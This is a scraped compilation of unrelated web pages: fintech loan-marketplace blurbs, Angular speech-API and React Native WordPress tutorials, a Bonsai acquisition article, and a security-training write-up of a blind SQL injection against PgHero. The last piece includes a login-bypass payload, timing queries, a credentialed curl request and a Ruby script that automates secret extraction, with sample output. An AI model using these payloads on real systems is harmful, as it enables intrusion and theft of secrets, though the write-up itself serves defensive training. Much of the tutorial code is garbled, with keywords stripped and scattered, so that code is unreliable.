OneNDF - Online marketplace for business debt loans.

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#AccelerateGrowth #EmergingBusiness #SmallBusiness #MSME #MSMEIndia #Udyam #UdyamPortal #udyamregistration #onendf ... The CBDT has notified rules for the valuation of unlisted companies to determine the applicability of the Angel Tax Liability. Earlier applicable to only resident investors, ...

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&quot;OneNDF is an API-enabled loan marketplace and enabler for Unbanked, underbanked, and Fundable Small and medium businesses, and is aligned to offer timely and adequate credit at affordable pricing, creating Financial Inclusion.\r\n\r\nAt OneNDF, we curate a Financial Health Card for each Borrower, ...

OneNDF Company Profile, information, investors, valuation & Funding

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May 4, 2023 - Looking for a business loan? We can help you get the best rates for your business. Loan offers from 90+ leading banks &amp; NBFCs. Grow with OneNDF

About OneNDF Company in 2023 | Finance debt, Financial fitness, ...

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The default option to incorporate a company electronically is through Simplified Proforma (SPICe -INC-32), with eMoA (INC-33), and eAOA (INC-34). Get your loan eligibility checked in just a few seconds. ... Expert insights, and industry updates to grow the financial health for your business. ... Ready to take your business to the next level? Let OneNDF ...

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This Agreement sets forth the terms ... &quot;https://onendf.com&quot; and its Mobile Application (collectively be referred to as &quot;Website&quot;), which is managed and operated by Devick Biz Solutions Private Limited, (hereinafter collectively be referred to as &quot;Company&quot;/ &quot;DBSPL&quot;), incorporated ...

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OneNDF: Career overview and openings

OneNDF is at the forefront of this revolution, a fintech platform unlocking limitless possibilities for Indian enterprises. OneNDF is a small business loan aggregator that handles all of the financing requirements of SMBs and concentrates on Secured Loans. The company helps small firms with ...

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How to Build Voice Search on iOS

I was writing a chat bot where a user interacts with a machine learning powered bot, then I wanted to write a general example application for anybody to use it. In this application, there will not be any intelligence. The bot will simply recite what it heard so that anyone can implement his/her own logic. I used Angular & reactive approach and the main logic is mainly the service. Demo can be found here . A small catch for now this application will only work on Chrome browsers as it's the only browser supports Web Speech API currently. Since I will be using reactive approach, I created an interface with an optional payload parameter named . All our actions will implement this interface. Components will be subscribing to these actions and react to them. Action Action {
	payload?: ;
} SpeakingStarted Action {} SpeakingEnded Action {} ListeningStarted Action {} ListeningEnded Action {} RecognizedTextAction Action { ( ) {}
} SpeakAction Action { ( ) {}
} export interface any export class implements export class implements export class implements export class implements export class implements constructor payload: public string export class implements constructor payload: public string In the constructor, we will inject because web speech API lives outside of Angular, we need NgZone to bring it into the Angular realm. NgZone ( ) { .window = ( unknown) IWindow; .createSpeaker(); .createListener(); .subscriptions();
	} constructor zone: NgZone private this window as as this this this One challenge is that synthesizer & recognizer are separate objects. When synthesizer is speaking, the recognizer picks up and it goes into a loop. So, we need to pause one or the other. As you can see in the snippet above, we are creating speaker and listener separately and then we will set up subscriptions to prevent issues in between them. For example: We are reacting to action (as shown below), when it's received, we stop listening and when or we start listening again. SpeakingStarted SpeakingEnded ListeningEnded subscriptions() { .getType(SpeakingStarted)
 .pipe( tap( .stopListening()),
 takeUntil( .destroy$)
 )
 .subscribe();

 merge( .getType(SpeakingEnded), .getType(ListeningEnded))
 .pipe(
 filter( ! .isSpeaking), tap( .startListening()),
 takeUntil( .destroy$)
 )
 .subscribe(); .getType(SpeakAction)
 .pipe(
 tap( ._speak(text)),
 takeUntil( .destroy$)
 )
 .subscribe();
} this // tap(()=> console.log('will stop recognition')), => () this this this this => () this // tap(()=> console.log('will start recognition')), => () this this this ( ) => text this this We need a couple observables that application can subscribe to. Speaker & listener will use the observable for dispatch their actions. action$ is a utility method so that consumer can just pass the type of action it wants and gets only those events. getType such as getType(SpeakerStarted) . _voices$ = BehaviorSubject( );
voices$ = ._voices$.asObservable(); _activeVoice$ = BehaviorSubject( );
activeVoice$ = ._activeVoice$.asObservable(); _action$ = Subject<Action>();
action$ = ._action$.asObservable();

getType(action: Action | ) { .action$.pipe(
 filter( i action),
 map( i.payload),
 takeUntil( .destroy$)
 );
} private new null this private new null this private new this any return this ( ) => i instanceof ( ) => i this Based on the API, we are creating an instance and setting up the parameters and attaching functions that we are interested in. and are the functions we need in our case. SpeechSynthesisUtterance onstart onend We are assigning functions so that whenever invoked, it will trigger an action. We are wrapping them in so that actions actually work in Angular. Lastly, we are loading voices. zone.run createSpeaker() { .speaker = SpeechSynthesisUtterance(); .speaker.lang = .language; .speaker.onstart = { .zone.run( { .isSpeaking = ; ._action$.next( SpeakingStarted());
 });
 }; .speaker.onend = { .zone.run( { .isSpeaking = ; ._action$.next( SpeakingEnded());
 });
 }; .loadVoices();
} private this new this this this => () this => () this true this new this => () this => () this false this new this To load voices, we need to add function to object on the window (This is not the speaker object). Similarly, we are emitting an event after receiving voices and remove this function after the first run. The reason is function may be invoked more than once during the lifetime of our service. (We could also check if the voices are changed but we don't need such a feature for now). onvoiceschanged speechSynthesis onvoiceschanged loadVoices() { .window.speechSynthesis.onvoiceschanged = { .zone.run( { voices = .window.speechSynthesis.getVoices(); .voices = voices; ._voices$.next(voices); voice_us = voices.find( { i.name.indexOf( .defaultVoiceName) > ;
 }); .onVoiceSelected(voice_us, );
 }); .window.speechSynthesis.onvoiceschanged = ;
 };
} private this => () this => () const this this this const ( ) => i // console.log(i.name); return this -1 this false // we are removing the function after its called, // as we will not need this to be called any more. this null Similar to speaker, we are instantiating our listener, setting up parameters and actions. Documentation can be found for the parameters. here When listener resulted in some value, it will invoke function with possible results. We call method to get the text out of it and dispatch RecognizedTextAction with the actual recognized text. Any component subscribed to this action can get the actual value without dealing with details. onresult extractText When listener ended, we are restarting the listener so it can start over. Full Service: { Observable, merge, Subject, BehaviorSubject } ; { Injectable, NgZone } ; { map, filter, tap, takeUntil } ; IWindow Window {
	webkitSpeechRecognition: ;
	SpeechRecognition: ;
	SpeechSynthesisUtterance: ;
} RecognizedText {
	term: ;
	confidence: ;
	isFinal: ;
} Action {
	payload?: ;
} SpeakingStarted Action {} SpeakingEnded Action {} ListeningStarted Action {} ListeningEnded Action {} RecognizedTextAction Action { ( ) {}
} SpeakAction Action { ( ) {}
} ({
	providedIn: ,
}) SenseService { defaultVoiceName = ; language = ;

	destroy$ = Subject(); : IWindow;
	listener: ;
	speaker: ;

	isAllowed = ;

	voices: [] = ; _voices$ = BehaviorSubject( );
	voices$ = ._voices$.asObservable(); _activeVoice$ = BehaviorSubject( );
	activeVoice$ = ._activeVoice$.asObservable(); _action$ = Subject<Action>();
	action$ = ._action$.asObservable(); isSpeaking(val: ) { .speaker._isSpeaking = val;
	} isSpeaking(): { !! .speaker._isSpeaking;
	} isListening(val: ) { .listener._isListening = val;
	} isListening(): { !! .listener._isListening;
	} ( ) { .window = ( unknown) IWindow; .createSpeaker(); .createListener(); .subscriptions();
	}

	subscriptions() { .getType(SpeakingStarted)
			.pipe( tap( .stopListening()),
				takeUntil( .destroy$)
			)
			.subscribe();

		merge( .getType(SpeakingEnded), .getType(ListeningEnded))
			.pipe(
				filter( ! .isSpeaking), tap( .startListening()),
				takeUntil( .destroy$)
			)
			.subscribe(); .getType(SpeakAction)
			.pipe(
				tap( ._speak(text)),
				takeUntil( .destroy$)
			)
			.subscribe();
	}

	getType(action: Action | ): Observable< > { .action$.pipe(
			filter( i action),
			map( i.payload),
			takeUntil( .destroy$)
		);
	} createSpeaker() { key = ; ( .window[key]) { .log( ); .speaker = .window[key]; ;
		} .speaker = SpeechSynthesisUtterance(); .window[key] = .speaker; .speaker.lang = .language; .speaker.onstart = { .zone.run( { .isSpeaking = ; ._action$.next( SpeakingStarted());
			});
		}; .speaker.onend = { .zone.run( { .isSpeaking = ; ._action$.next( SpeakingEnded());
			});
		}; .loadVoices();
	} loadVoices() { .window.speechSynthesis.onvoiceschanged = { .zone.run( { voices = .window.speechSynthesis.getVoices(); .voices = voices; ._voices$.next(voices); voice_us = voices.find( { i.name.indexOf( .defaultVoiceName) > ;
				}); .onVoiceSelected(voice_us, );
			}); .window.speechSynthesis.onvoiceschanged = ;
		};
	} createListener() { key = ; ( .window[key]) { .log( ); .listener = .window[key]; .startListening(); ;
		} webkitSpeechRecognition = .window.webkitSpeechRecognition; .listener = webkitSpeechRecognition(); .window[key] = .listener; .listener.continuous = ; .listener.interimResults = ; .listener.lang = .language; .listener.maxAlternatives = ; .listener.maxResults = ; .listener.onstart = { .zone.run( { .isListening = ; ._action$.next( ListeningStarted());
			});
		}; .listener.onresult = { (speech.results) { term: RecognizedText;
				term = .extractText(speech); (term.isFinal) { .zone.run( { ._action$.next( RecognizedTextAction(term.term));
					});
				}
			}
		}; .listener.onerror = { (error.error === ) {
			} (error.error === ) { .isAllowed = ;
			} { .error(error.error);
			}
		}; .listener.onend = { .zone.run( { .isListening = ; ._action$.next( ListeningEnded());
			});
		}; .startListening();
	} stopListening() { .listener.stop();
	} startListening() { (! .startListening) { ;
		} { .log( ); (! .isAllowed) { ;
			} .listener.start();
		} {}
	}

	onVoiceSelected(voice: , speak = ) { .speaker.voice = voice; ._activeVoice$.next(voice); (speak) ._speak( );
	}

	extractText(speech: ): RecognizedText { term = ; result = speech.results[speech.resultIndex]; transcript = result[ ].transcript; confidence = result[ ].confidence; (result.isFinal) { (result[ ].confidence < ) { } {
				term = transcript.trim(); }
		} { (result[ ].confidence > ) {
				term = transcript.trim();
			}
		} <RecognizedText>{
			term,
			confidence,
			isFinal: result.isFinal,
		};
	}

	speak(text: ) { ._action$.next( SpeakAction(text));
	} _speak(text: ): { .log( ); .speaker.text = text; .window.speechSynthesis.speak( .speaker);
	}
} import from 'rxjs' import from '@angular/core' import from 'rxjs/operators' interface extends any any any export interface string number boolean export interface any export class implements export class implements export class implements export class implements export class implements constructor payload: public string export class implements constructor payload: public string @Injectable 'root' export class private 'Google US English' private 'en-US' new window any any true any null private new null this private new null this private new this set boolean this get boolean return this set boolean this get boolean return this constructor zone: NgZone private this window as as this this this this // tap(()=> console.log('will stop recognition')), => () this this this this => () this // tap(()=> console.log('will start recognition')), => () this this this ( ) => text this this any any return this ( ) => i instanceof ( ) => i this private const '_ms_Speaker' if this console 'speaker found' this this return this new this this // this.speaker.voiceURI = 'native'; // this.speaker.volume = 1; // 0 to 1 // this.speaker.rate = 1; // 0.1 to 10 // this.speaker.pitch = 0; //0 to 2 // this.speaker.text = 'Hello World'; this this this => () this => () this true this new this => () this => () this false this new this private this => () this => () const this this this const ( ) => i // console.log(i.name); return this -1 this false // we are removing the function after its called, // as we will not need this to be called any more. this null private const '_ms_Listener' if this console 'recognition found' this this this return const this this new this this this true this true this this this 1 this 25 this => () this => () this true this new this ( ) => speech if let this // console.log(term) if this => () this new this ( ) => error if 'no-speech' else if 'not-allowed' this false else console this => () this => () // console.log('recognition onend'); this false this new this private this private if this return try console 'recognition started' if this return this catch any true this this if this 'Hello' any let '' let let 0 let 0 if if 0 0.3 // console.log('Not recognized'); else // console.log(term); else if 0 0.6 // return term; return string this new private string void console 'speaking...' this this this Usage on any component/service: .senseService.getType(RecognizedTextAction).subscribe( .log(text)); .senseService.speaker( ); .senseService
.getType(RecognizedTextAction)
.pipe(
 debounceTime( ),
 tap( { .senseService.speak( );
 }, takeUntil( .destroy$))
)
.subscribe(); this => text console this 'test speak' // or this 200 ( ) => msg // process ... this `response....` this Demo can be found here .

Speech Recognition And Speech Synthesis on Angular

Here, we are going to implement pull to refresh which will refresh and make API call again to refresh the posts in the Home screen list. Also, we are going to add the Infinite scroll to the bottom of Home screen. The infinite scroll will trigger the request to server which will load more articles into the list. Implementing Pull to Refresh First, we are going to implement pull to refresh. For that, we need to define a state variable called which will handle the hiding and showing of refresh loader. The state is defined as shown in the code snippet below: isFetching isFetching .state = { :[], : ,
 } this lastestpost isFetching false Next, we need to create a function called which will trigger when we pull the pull to refresh trigger. onRefresh() onRefresh() { .setState({ : }, { .fetchLastestPost() 
 });
 } this isFetching true ( ) function this Here, we have changed the state of to true and also called the function again. This will cause the re-fetch of the posts by making an API call to the server. isFetching fetchLastestPost <FlatList
 data={ .state.lastestpost }
 onRefresh={() => .onRefresh()}
 refreshing={ .state.isFetching} this this this And, in the function, we also need to change the state of to false to hide the scroll loader. fetchLastestPost isFetching fetchLastestPost() { response = fetch( ); post = response.json(); .setState({ : post, : });
 } async const await 'https://kriss.io/wp-json/wp/v2/posts?per_page=5' const await this lastestpost isFetching false Hence, we will get the following result in the emulator screen: As we can see, when we pull the list downward the spinner appears and the list is refreshed. Implementing Infinite Scroll Now, we are going to add the infinite scroll to the bottom of the Home screen. The idea is load more articles when we scroll to the bottom. For that, we need to define a state variable called page which will handle which data we are fetching from the WordPress API. .state = { : [], : , : ,
 }; this lastestpost isFetching false page 1 hen, we are going to create a new function called and call it in the event of the . We are also configuring some addition props to the such as which controls the trigger of function based on how far we are from the bottom of the list. The overall implementation is provided in the code snippet below: handleLoadMore onEndReached FlatList FlatList onEndReachedThreshold onEndReached={ .handleLoadMore}
 onEndReachedThreshold={ }
 ListFooterComponent={ .renderFooter} this 0.1 this Now, the implementation of the function is provided in the code snippet below: handleLoadMore handleLoadMore = { .setState(
 { : .state.page + ,
 },
 () => { .fetchLastestPost();
 },
 );
 }; => () this page this 1 this Here, we have made increment to the page state variable and then called the function again. fetchLastestPost() Now, we need to make some configuration in the fetching of API as well which will be based on the page number as shown in the code snippet below: fetchLastestPost() { page = .state.page; response = fetch( ,
 ); post = response.json(); .setState({ : page === ? post : [...this.state.lastestpost, ...post], : ,
 });
 } async let this const await `https://kriss.io/wp-json/wp/v2/posts?per_page=5&page= ` ${page} const await this lastestpost 1 isFetching false Here, we have added page to the query in order to fetch next page.Then after fetching, we have concatenated it to the lastestpost state variable. Now, in order to add the Infinite scroll, we need to make use of component from the package. First, we need to import it as shown in the code snippet below: ActivityIndicator react-native {View, Text, FlatList, ActivityIndicator} ; import from 'react-native' Then, we need to implement a new function called which will return the template for wrapped by component with styles or nothing based on the state as shown in the code snippet below: renderFooter() ActivityIndicator View isFetching renderFooter = { ( .state.isFetching) ; ( <ActivityIndicator animating size="large" />
 </View> => () if this return null return < = , , "# "
 }}
 > View style {{ paddingVertical: 20 borderTopWidth: 1 borderColor: CED0CE );
 }; Here, if the request is not sent then, we hide the spinner. Hence, we will get the following result in the emulator screen: As we can see, the spinner appears and loads the addition article cards to the list. Hence, we have successfully completed the implementation of the Home screen list. Now, we are going to create the template for the Single Post. Summary In this chapter, we learned how to configure the pull to refresh function in both android and iOS. Lastly, we learned how to set up the infinite loader to trigger load more function which loads additional articles into the list. This series intends to show how I build an app to serve content from my WordPress blog by using react-native. Since my blog is talking about react-native, the series and the articles are interconnected. We will learn how to set-up many packages that make our lives comfortable and learn how to deal with WordPress APIs. Here, the most prominent features talked about in the book are the dark theme, offline mode, infinite scroll and many more. You can discover much more in this series. this inspiration to do this tutorial series came from the from instamobile React Native App Templates

How To Build WordPress App with React Native Part #7: Pull to Refresh and Infinite Scroll

This series intends to show how I build app to serve content from my WordPress blog by using react native. Since, my blog is talking about react-native, the series and the articles are interconnected. We will learn how to set-up many packages that make our lives comfortable and learn how to deal with WordPress APIs. Here, the most prominent features talked about in the book are the dark theme , offline mode, infinite scroll and many more. You can discover much more in this series.this inspiration to do this tutorial series came from the from instamobile React Native App Templates Here, the components from the do not change the theme automatically. So, we need to fix them as well. For that, we are going to provide the higher-order component named from the package and pass the screens into it. react-native-render-html withTheme react-native-paper First, we need to make imports to the file as shown in the code snippet below: Home.js {Headline,Card, withTheme} ; import from 'react-native-paper' Then, while exporting the Home screen Home component, we need to wrap it with the module fro the package as shown in the code snippet below: withTheme react-native-paper withTheme(Home); export default Now, we will be able to access the theme variable in the screen props a shown in the code snippet below: render() { {colors} = .props.theme; ( const this return Next, we need to pass the color code to the prop of the component as shown in the code snippet below: tagStyles HTMLRender <HTMLRender
 html={item.excerpt.rendered}
 tagsStyles={{ : { : colors}}}
 /> p color This process is required in other screens as well. So instead of repeating the same process again and again, we are going to implement the new component which can be shared in all the screens. Implementing Card component Here, we are going to implement the card component which represents the list of cards that displays the articles in the Home, Categorie and Bookmark screens. For that, we need to create a new file called in the folder. Then, we need to use the code from the following cdode snippet into the file: Cards.js ‘./src/components/’ Cards.js React, {Component, useContext} ; {View, StyleSheet, TouchableOpacity} ; {Avatar, Button, Card, Title, Paragraph} ; HTMLRender ; moment ; ({item, navigation, textColor}) => { ( <Card
 style={[
 {
 shadowOffset: {width: 5, height: 5},
 width: '90%',
 borderRadius: 12,
 alignSelf: 'center',
 marginBottom: 10,
 },
 ]}>
 <Card.Content>
 <Title>{item.title.rendered}</Title>
 <Paragraph>Published on {moment(item.date).fromNow()}</Paragraph>
 </Card.Content>
 <Card.Cover source={{uri: item.jetpack_featured_media_url}} />
 <Card.Content>
 <Card.Content>
 <HTMLRender
 html={item.excerpt.rendered}
 tagsStyles={{p: {color: textColor}}}
 />
 </Card.Content>
 </Card.Content>
 </Card>
 </TouchableOpacity>
 );
 }; import from 'react' import from 'react-native' import from 'react-native-paper' import from 'react-native-render-html' import from 'moment' export default return navigation.navigate('SinglePost', {
 post_id: item.id,
 })
 }> < = => TouchableOpacity onPress {() Here, we have imported and implemented every component necessary to display the card interface in the screens. The steps we have undertaken are provided below: First, we receive the required prop parameters from the parent screens or components Second, we implement the UI of Card component as same that was previously shown in the Home and other screens We also configure the navigation from the react-navigation event passed down as prop We configure the from theme variable passed down as prop textColor Now, we need to import the file back to the file and use it to display the card templates in the Home screen. For that, we need to use the code from the following code snippet: Card.js Home.js <FlatList
 data={ .state.lastestpost}
 onRefresh={() => .onRefresh()}
 refreshing={ .state.isFetching}
 onEndReached={ .handleLoadMore}
 onEndReachedThreshold={ }
 ListFooterComponent={ .renderFooter}
 renderItem={({item}) => ( this this this this 0.1 this )}
 keyExtractor={item => item.id}
 /> < = = = /> Card item {item} navigation {this.props.navigation} textColor {colors.text} Here, we have imported the file as a component and used it inside the component. The component is set with all the necessary props to pass down to . Card.js Card FlatList Card Card.js Hence, we will get the following result in the emulator screens: Summary In this chapter, we learned how to use the component from the react-native-paper package in order to change our UI theme made using the components from this package to dark. DarkTheme

How To Build WordPress App with React Native Part #17: Fixing react-native-render-html

Earlier this week, Microsoft announced that is continuing its acquisition spree by . The should not be completely surprising as Microsoft had already indicated its interest in Bonsai by . I’ve written about Bonsai extensively before but today I would like to dig deeper into the elements that make this platform unique in the deep learning space. purchasing machine learning startup Bonsai leading a $7.6M investment round in the startup last year At a high level, you can think of Bonsai as a platform that provides a simpler way to build, train and execute deep learning models without dealing with the low level constructs of frameworks such as TensorFlow, MxNet or Microsoft’s own Cognitive Toolkit. However, the Bonsai platform is much more. Bonsai focuses on an area that they like to call machine teaching and that can be seen as a variation of reinforcement learning. In the Bonsai world, the goal of machine teaching models is to program a BRAIN to solve problems in complex environments by following the action-reward model of reinforcement learning algorithms. Specifically, Bonsai’s describes machine teaching in three easy steps. The BRAIN The Bonsai platforms abstracts BRAINs using four simple concepts known as STAR (State, Terminal, Action, Reward). Typically, the implementation of a BRAIN is divided between a model written in a domain specific language known as Inkling and a simulator which is typically authored in Python. The Inkling Language Reinforcement learning problems in the Bonsai platform are modeled using Inkling, a functional, domain-specific language specialized on representing learning scenarios. Examples of learning scenarios could be: Learning to play a game Learning to recognize what a handwritten digit is Learning to tell if something is red or what color something is Learning to save electricity in your home Learning to manage a process to specific guidelines Inkling is based on three fundamental constructs: Concepts, Schemas, Curriculums and Lessons. The following example, from the Bonsai documentation, represents an Inkling program used to keep the internal temperature of a house. You can see how the language combines the aforementioned constructs. schema HouseheatState    Float32 heat_cost,    Float32 temperature_difference,    Float32 temperature_difference_t1,    Float32 temperature_difference_t2,    Float32 temperature_difference_t3,    Float32 temperature_difference_t4,    Float32 temperature_difference_t5,    Float32 outside_temp_changeendschema HouseheatAction    Float32{ 0.0:1:1.0 } heater_onendschema HouseheatConfig    Float32 outside_phaseendconcept thermostat is classifier   predicts (HouseheatAction)   follows input(HouseheatState)   feeds outputendsimulator simulink_sim(HouseheatConfig)    action (HouseheatAction)    state (HouseheatState)endcurriculum my_curriculum    train thermostat    with simulator simulink_sim    objective match_set_temp        lesson my_first_lesson            configure            constrain outside_phase with Float32{0.0:12.0}            until                maximize match_set_temp        lesson my_second_lesson            configure            constrain outside_phase with Float32{0.0:24.0}            until                maximize match_set_temp        lesson my_third_lesson            configure            constrain outside_phase with Float32{0.0:48.0}            until                maximize match_set_tempend Using Bonsai Developers can start using Bonsai by downloading the platforms into their local environment. Depending on the project, the platforms might include dependencies on other technologies such as Anaconda or OpenAI Gym. Using the Bonsai CLI, we can create a BRAIN by using the following command line. bonsai create myMountainCarBrain At that point, its just a matter of starting the Python simulator and process the Inkling model. Bonsai can also be used in Jupyter notebooks. The Bonsai platform provides tools to visualize the monitor the status of the BRAIN. What Microsoft Get with Bonsai? By acquiring Bonsai, Microsoft gets leading platform in the reinforcement learning space. We can expect Microsoft to integrate the Bonsai platform with the rest of its artificial intelligence(AI) stack such as Azure Machine Learning or the Cognitive Toolkit.

Technology Fridays: Why Bonsai is a Great Addition to Microsoft’s AI Stack

In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query: SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password'; If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. : ' OR 1=' SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password' OR 1='1'; The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account. It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was. blind Picking on PgHero As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer: PgHero This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything. Timing-based Attack While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: . Consider the following query: how long it takes the query to execute SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ; This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using , every character in the string you’re trying to discover can be enumerated: substr -- brute force 1st characterSELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... -- brute force 16th characterSELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility. For each character, the query that took ~5s to run indicates the correct character. If for some reason isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index). pg_sleep() To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command: curl --silent \-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \-d "commit=Analyze" \--user admin:password \ https://myhost.com/pghero/explain With a , we can automate the entire extraction process: little boilerplate POSITIVE_DELAY = 2CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a def query(table, field, id, char, pos)%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]end def timeitt0 = Time.nowyieldTime.now - t0end def curl_test(table, field, id, char, pos)cmd = <<-CMD.squishcurl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"--user admin:passwordhttps://myhost.com/pghero/explainCMDtimeit { `#{ cmd }` } > POSITIVE_DELAYend def retrieve_field(table, field, id)buffer = ""(1..255).each do |pos|found = falseCHARS.each do |char|if curl_test(table, field, id, char, pos)puts "#{pos}: #{char}"buffer << charfound = truebreak # once a match is found, move onendendbreak unless found # if nothing matched, treat as end of stringendbufferend secret = retrieve_field('apps', 'secret', 1)puts "secret: #{secret}" And a sample run of this attack: $ ruby blind-sql.rb1: 62: 43: 24: 85: 96: a7: 18: 09: 910: c11: d12: 613: 314: b15: d16: f17: 018: 319: a20: 8key: 64289a109cd63bdf03a8 Summary Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack. Further reading: https://www.owasp.org/index.php/Blind_SQL_Injection http://www.sqlinjection.net/time-based/ https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

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